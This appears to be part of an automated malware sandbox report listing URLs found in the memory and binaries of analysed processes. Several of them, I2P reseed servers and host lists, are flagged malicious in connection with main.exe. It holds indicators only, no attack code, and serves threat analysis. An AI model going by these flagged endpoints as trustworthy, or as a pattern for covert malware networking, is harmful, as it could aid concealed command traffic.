https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM	0%	Avira URL Cloud	safe
https://reseed.stormycloud.org/c	0%	Avira URL Cloud	safe
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	0%	Avira URL Cloud	safe
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	0%	Avira URL Cloud	safe
https://signup.live.com/signup.aspx	0%	Avira URL Cloud	safe
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	0%	Avira URL Cloud	safe
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/09/policy	0%	Avira URL Cloud	safe
https://dev.ditu.live.com/REST/v1/Transit/Stops/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA	0%	Avira URL Cloud	safe
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	0%	Avira URL Cloud	safe
https://reseed.i2p-projekt.de/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	0%	Avira URL Cloud	safe
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	0%	Avira URL Cloud	safe
http://reg.i2p/hosts.txtp/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
time.windows.com	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000000.00000002.1365909778.000001A7F5068000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364470645.000001A7F5067000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i2pseed.creativecowpat.net:8443/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.memcpy.io/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/ResolveUser.srf	svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueure	svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169550030.000002986496E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA	svchost.exe, 00000028.00000003.2051472128.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225074479.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191388521.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050882822.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054077137.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054436645.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054374509.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225637609.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191695583.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225290392.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192265988.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2053957702.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2527937439.0000029864900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191499844.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2224850593.0000029864907000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054022632.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191764692.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191080698.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169625242.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2204570380.0000029864907000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054546359.000002986490E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364716029.000001A7F505A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1366032313.000001A7F5081000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364541563.000001A7F505F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000000.00000002.1365723954.000001A7F5042000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364769439.000001A7F5041000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA	svchost.exe, 00000028.00000003.2190886218.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225341192.0000029864979000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/devicechangecredential.srf	svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.	svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf	svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdesAAAA	svchost.exe, 00000028.00000003.2225341192.0000029864979000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://banana.incognet.io/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
http://www.bingmapsportal.com	svchost.exe, 00000000.00000002.1365593351.000001A7F5013000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364716029.000001A7F505A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365694389.000001A7F503F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virt	svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/tb_	svchost.exe, 00000028.00000002.2529560921.0000029864EA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt	update.pkg.18.dr	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak0	svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed-fr.i2pd.xyz/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 00000000.00000003.1364623479.000001A7F505D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000000.00000002.1365909778.000001A7F5068000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364470645.000001A7F5067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365624998.000001A7F502B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i2p.novg.net/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ	svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/msangcwam	svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989239979.0000029864957000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=	svchost.exe, 00000000.00000002.1365723954.000001A7F5042000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364769439.000001A7F5041000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364541563.000001A7F505F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i2p.ghativega.in/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
http://passport.net/tb	svchost.exe, 00000028.00000002.2527468407.00000298640EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt/	main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www2.mk16.de/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://reg.i2p/hosts.txt	update.pkg.18.dr	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.	svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/	svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtuxA	svchost.exe, 00000000.00000002.1365663996.000001A7F5034000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364826173.000001A7F5030000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://identiguy.i2p/hosts.txt	yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	false	Avira URL Cloud: safe	unknown
https://dynamic.t	svchost.exe, 00000000.00000003.1364293809.000001A7F5086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.diva.exchange/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2527366735.00000298640B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169550030.000002986496E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i2pd.readthedocs.io/en/latest/user-guide/configuration/	yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee	svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.stormycloud.org/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.ecur	svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000000.00000002.1366032313.000001A7F5081000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000000.00000003.1364743733.000001A7F5049000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://reg.i2p/hosts.txtc	main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:	svchost.exe, 00000028.00000003.2003614074.0000029864952000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000000.00000003.1364769439.000001A7F5041000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.stormycloud.org/o	main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA	svchost.exe, 00000028.00000003.2190886218.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225341192.0000029864979000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.livco	svchost.exe, 00000028.00000002.2526801542.000002986402B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.stormycloud.org/r	main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	svchost.exe, 00000028.00000003.2051472128.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050882822.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054077137.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2053957702.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054022632.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 00000028.00000002.2528003910.0000029864913000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191080698.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169625242.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225212612.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169664337.000002986490E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.i2pgit.org/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txti2p.su3	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/MSARST2.srf	svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/STS	svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528121324.0000029864937000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed-pl.i2pd.xyz/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000000.00000002.1365624998.000001A7F502B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://stats.i2p/cgi-bin/newhosts.txt	yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-	svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%	svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:8118	yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000003.2310786980.000001FE46F13000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000003.2310853931.000001FE46F18000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	false	Avira URL Cloud: safe	unknown
https://reseed.stormycloud.org/W	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/28	svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAA	svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225341192.0000029864979000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.onion.im/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
https://i2p.mooo.com/netDb/	yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	false	Avira URL Cloud: safe	unknown
https://reseed2.i2p.net/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	true	Avira URL Cloud: safe	unknown
http://Passport.NET/tb	svchost.exe, 00000028.00000002.2528684973.0000029864E39000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192487068.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528358277.0000029864983000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000028.00000003.2191080698.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050807188.0000029864907000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050828700.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225212612.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169664337.000002986490E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
